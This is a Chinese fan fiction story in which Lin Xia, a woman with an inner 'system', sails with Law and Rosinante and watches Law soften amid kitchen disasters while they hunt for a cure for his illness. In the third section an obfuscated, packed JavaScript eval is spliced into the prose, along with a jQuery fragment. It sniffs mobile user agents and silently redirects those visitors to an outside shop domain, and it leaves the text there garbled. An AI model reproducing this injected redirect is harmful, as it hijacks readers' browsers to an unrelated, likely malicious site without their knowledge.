*一*
出海满半年那天，林夏在田野笔记上记了一笔，然后发现自己算错了——不是半年，是半年零三天。她把三天补上。
这半年去了多少家医院，她得翻本子才数得清。十几家，可能二十家。结果都一样：门、口罩、三层手套、隔着三米的眼神、"请离开"。
世界没有变。
变的是罗。
头几家，罗每被赶出来一次，眼神就往下沉一寸。林夏认得那种沉——那是一个人正把"世界不值得"这句话又确认一遍。
罗西南迪不让他确认。每次从医院出来，罗西南迪都会做点蠢事：绊一跤，或者把刚买的面包掉进海里，或者——最常见的——把自己点着。罗本来沉着脸，被他一闹，沉不下去了。
林夏也不让他确认。她从不说"会好的"那种话，她说的是："这家排除了。下一家。"她把找药当成一个有期限的项目来做，列清单，划掉，记录每一种被否定的可能。在她那本笔记里，铂铅病不是一道判决，是一道还没解开的题。
一个肯陪他闹，一个肯陪他算。半年下来，罗那句"没用的"说得越来越少，到后来不说了。
不是因为他信了世界会对他好。是因为他发现，在这条船上，世界对不对他好，已经不是最要紧的事了。最要紧的是这道题，和陪他解题的这两个人。
治好铂铅病，从他一个人的死刑，变成了三个人的事。
改口是哪天，林夏说不准。她只记得有一天，罗西南迪又把袖子点着了，正手忙脚乱地拍，罗在旁边看着，忽然开口："柯拉先生，左边。"
罗西南迪愣了一下，低头一看，火确实在左边袖口，拍灭了。
林夏把这件事在脑子里过了一遍。
以前罗叫他，是"喂"，或者干脆不叫，用下巴指。"柯拉先生"这三个字，是头一回。
那天之后，"喂"就没再出现过。罗西南迪成了"柯拉先生"，叫得很认真，带着一种罗很少给人的东西——尊敬。
至于她自己，是又过了几天。那天她在调一副药，手边的东西不够，没回头，听见罗把那样东西递过来，说了一个字："夏。"
不是"喂"。是"夏"。
她接过来，没回头。"嗯。"
【系统。】
【在，宿主。】
【罗今天叫我"夏"。】
【……宿主，这个要——】
【记下来。】
* 二*
罗的病在重。
具体的，是手开始抖。一个靠手吃饭的人——他要做的是医生，是要拿手术刀的人——发现手不听话了。他没说，但林夏看见了：他写德文注释，字比半年前抖；端碗，左手先扶一下右手。
那几天他话又少了。不是仇恨那种少，是疼那种少。
罗西南迪看出来了。
上一回他表演抛接橘子，把自己点着，罗笑了一下午。这回他想再来一次，换了花样——他要给罗做点吃的。他在某个港口打听到一种北海的甜点，烤的，小孩都爱吃，记了方子，买齐了料，趁林夏在甲板上整理草药，一个人钻进厨房。
林夏听见里面动静，没立刻进去。她已经学会了：罗西南迪进厨房，前十分钟通常是安全的。
第十一分钟，厨房炸了。
不是真的炸，是面粉。罗西南迪不知怎么把一整袋面粉口子朝下抱了起来，面粉扣了他一头一脸；他下意识去拍，手上沾着油，越拍越糊；慌乱中胳膊扫到灶上的锅，锅盖被气顶飞，哐地弹上房梁又掉下来，正中油锅，油溅出来，遇火——
着了。
林夏冲进去。这是她的标准流程。但今天是幸运 5 的日子。
她脚下一滑——地上全是油——整个人往灶台栽，伸手去抓，抓到的是那袋还剩一半的面粉，面粉轰地扬开，半个厨房白了。她在白雾里稳住，抄起水桶，桶是好的，水也是满的，一泼，精准浇灭了油锅的火。
然后房梁上那个被她带飞过的锅盖，当地砸进水缸，水花冲天，把刚扬起来还没落定的面粉全和成了浆，劈头盖脸糊了三个人——
因为这时候，罗也进来了。
他听见动静进来看，刚迈进门，正好接住那一波面浆。
厨房安静了一瞬。
罗西南迪：满头面粉，半边脸黑，大衣还在冒一缕烟。
林夏：从头到脚一层白浆，头发里插着不知什么时候蹭上的几根草药，脸上一道黑一道白。
罗：站在门口，面浆顺着帽檐往下滴，表情是那种"我只是路过"的表情，但他显然没法再假装路过了。
三个人你看我，我看你。
罗先没忍住。他噗地笑出来，然后是罗西南迪，憋了三秒，跟着哈哈大笑，震得房梁上又掉下来一点灰。林夏没笑出声，但她靠在被砸出一道裂的水缸上，肩膀在抖。
半年前的林夏，这会儿应该已经在评估损失、规划清理。
今天她没有。她抬手抹了一把脸，把黑抹得更匀了，看着这一厨房的狼藉和两个糊成鬼样的人，由着自己肩膀抖了一会儿。
笑完了，得收拾。
林夏先够到罗。他脸上那道黑最显眼，蹭到了眼睛底下。她抬手，用自己袖子相对干净的一角，给他擦脸。"别动。"
罗站着没动，让她擦。这要在刚出海那会儿，他会侧头躲开，会说"我自己来"。现在他没躲，由着她把眼下那道黑擦干净。擦的时候他的视线落在别处，落在房梁上那个该死的锅盖砸出的印子上，没看她。
"好了。"
"嗯。"
轮到他，他没说要给她擦脸。他伸手，从她头发里把那几根草药一根一根挑出来，挑得很仔细，跟他做推演一个样。挑完，又顺手把她被面浆糊得翘起来的衣领抹平。
"你这衣领，"他说，是挑破绽那种语气，"翘着，看着碍事。"
林夏没拆穿他——草药挑不挑、衣领翘不翘，跟"碍事"没什么关系。她嗯了一声，由他弄。
罗西南迪凑过来也想帮忙，伸手要给罗拍头上的面粉，手上还带着油，越拍越花。罗皱眉："柯拉先生，你别帮倒忙。"嘴上这么说，却抬手，反过来把罗西南迪脸上那半边黑给抹了一把——抹得也不怎么样，但抹了。
三个人，糊成一团，谁也没嫌弃谁。
林夏后来在田野笔记上写：出海某日，厨房损失面粉一袋、油半锅、锅盖一只、水缸一道裂。
下面一行：没有人生气。
这样的下午，半年里有过好几次。罗西南迪点着自己的花样换着来：烤鱼把围裙引燃，修帆把自己缠进缆绳里一起摔下海，有一次空着手都能蹭出火星。每一次幸运 5 都来添一脚，每一次林夏的救援都半道翻车，每一次三个人都糊成一团。
她不再像从前那样，五秒之内把场面掐灭。
半年前的她，会觉得"失控"是失职。但半年前的她，不知道罗的手会抖。
她现在知道了。她知道这道题她可能解不开，知道留给罗笑的下午，正一个一个变少。所以这些场面，她由着它烧，由着它乱，由着自己也跟着狼狈一回——可控，是给有以后的人准备的。
【系统。】
【在。】
【今天厨房又没了。】
【是的。面粉一袋，油半锅，锅盖一只。另：检测到宿主面部 73% 被覆盖。】
【嗯。】她停了一下，【罗笑了。】
【……记？】
【记。】
*三*
变化是悄悄发生的，林夏过了一阵才回过神来。
刚出海那会儿，是她照顾他。他发烧，她换毛巾；他疼，她调药贴；他被赶出医院，她说"下一家"。他坐在甲板上看书，话很少，叫她"喂"，偶尔抬头挑她草药记录里的错。那时候，他是被照顾的那一个。
现在不一样了。
厨房那场火之后没几天，林夏的手被一块崩飞的瓷片划了道口子——还是幸运 5，她拿个碗，碗自己裂了。不深，她拿布一裹打算接着干活。
罗看见了。
他放下书走过来，没说话，先把她裹的布解了，解得有点用力。"谁教你这么包的。"他从药箱里取出该用的东西，按住她的手腕，清创、上药、重新包扎，手法干净利落，比她自己快得多，也好得多。包到一半，她发现他的手稳得很——明明前几天还在抖。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694460|207963||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他专注的时候，手是稳的。她记下了这件事，没说。
"以后拿碗先看一眼有没有裂，"他收好药箱，是训人的语气，"你这双手要是废了，谁给柯拉先生收拾烂摊子。"
林夏看着包好的手，包得比她平时给别人包的还规整。"知道了。"
"还有，"他翻开书，没看她，"你那个止血草，第三格放潮了，换一格。"
他没说"我担心你"。他说的是碗、是手、是受潮的止血草。但半年前，他连"喂"都懒得叫。
吃饭也变了。
从前三个人分饭，林夏给自己留得最少——她做饭、她分，分到自己那份总是收尾。罗从前不管这个，他吃他的。
现在他管。
那天晚饭是鱼汤。林夏照旧把最好的鱼分给罗，自己碗里是汤和碎肉。罗看了一眼，把自己碗里那块完整的鱼夹过来，扣进她碗里。
"我吃不下。"
她知道他吃得下。这几天他胃口不好是真的，但不至于一块鱼都吃不下。
她没拆穿，把那块鱼吃了。
过几天，轮到天最冷的一程夜航。林夏守上半夜，坐在舵边，海风往骨头里钻。她正想去舱里拿件厚的，罗从舱里出来了，手里端着一个粗陶杯，塞给她。
"喝。"
她接过来，是热的。低头闻——姜茶，放了蜂蜜，姜放得不多，正是她平时给别人调的那个比例。
她从没教过他做这个。他是看会的——看她做了半年。
"你脸色难看，"罗在她旁边坐下，看着前方的海，"喝了暖一暖。难喝也喝完。"
那是她的话。一字不差，是她半年里对他说过无数遍的话。
林夏捧着那杯姜茶，没立刻喝。海上很黑，看不清他的脸，但她知道他耳根大概是有点烫的——不是被火烤的那种，是另一种。
"嗯，"她说，把姜茶喝了，"谢谢。"
罗没接话，往旁边挪了挪，挡住了往她这边灌的那股风。
还有些事，她是后来才发现的。
有天早上她去做药品记录，发现已经记好了——字迹是罗的，连她惯用的那套标注符号都学了去。她问他，他头也不抬："你昨天累得睡着了，本子摊在那儿，我顺手。本来挑错的也是我，记不记都一样。"
那本子摊在哪儿，是她特意收进背包又被人翻出来的。她没说。
防滑绳的间距，从某一天起总是均匀的。锚链她去检查，常常发现已经有人查过——查得比她还细。问起来，回答永远是"顺手"。
半年里，全船 79% 的活，悄悄变成了五成出头。
那两成多，没人认领。但林夏知道是谁。
*四*
那天晚上，厨房收拾干净了，罗西南迪的大衣晾在甲板上，烧出几个洞。林夏在缝。
罗西南迪凑过来看，欲言又止。
"我知道，"林夏没抬头，"你有一半是故意的。"
罗西南迪僵了一下。
她穿过一针。"你抛接没那么差，第一回合三个全接住了。第二回合开始你才变笨的。"她把线收紧，"罗在看的时候，你比平时笨一倍。"
罗西南迪没说话，耳根有点红——不是那种红，是被看穿的红。
"他爱看你出丑，"林夏说，"你就出丑给他看。你这个人——"
她顿了一下，把那句在心里转了半年的话咽了回去。
那句话是：你这个人，肯为别人扛下所有事。这种人，多半会一路扛到把自己扛没为止。
她没说。她把最后一个洞缝好，把大衣递回去。"补好了。下次离油灯远点。"
"……谢谢。"罗西南迪接过大衣，低头看那几块补丁，忽然轻轻笑了一下。
船舱里，罗已经睡了。白天笑累了。
林夏收起针线，看了一眼睡着的罗，又看了一眼正把补好的大衣往身上套、还在傻乎乎高兴的罗西南迪。
三个人，一条船，一道还没解开的题。
她不知道这道题最后解不解得开。但今天，罗笑了一下午，罗西南迪的大衣补好了，她把"半年零三天"记进了本子。
剩下的，明天再算。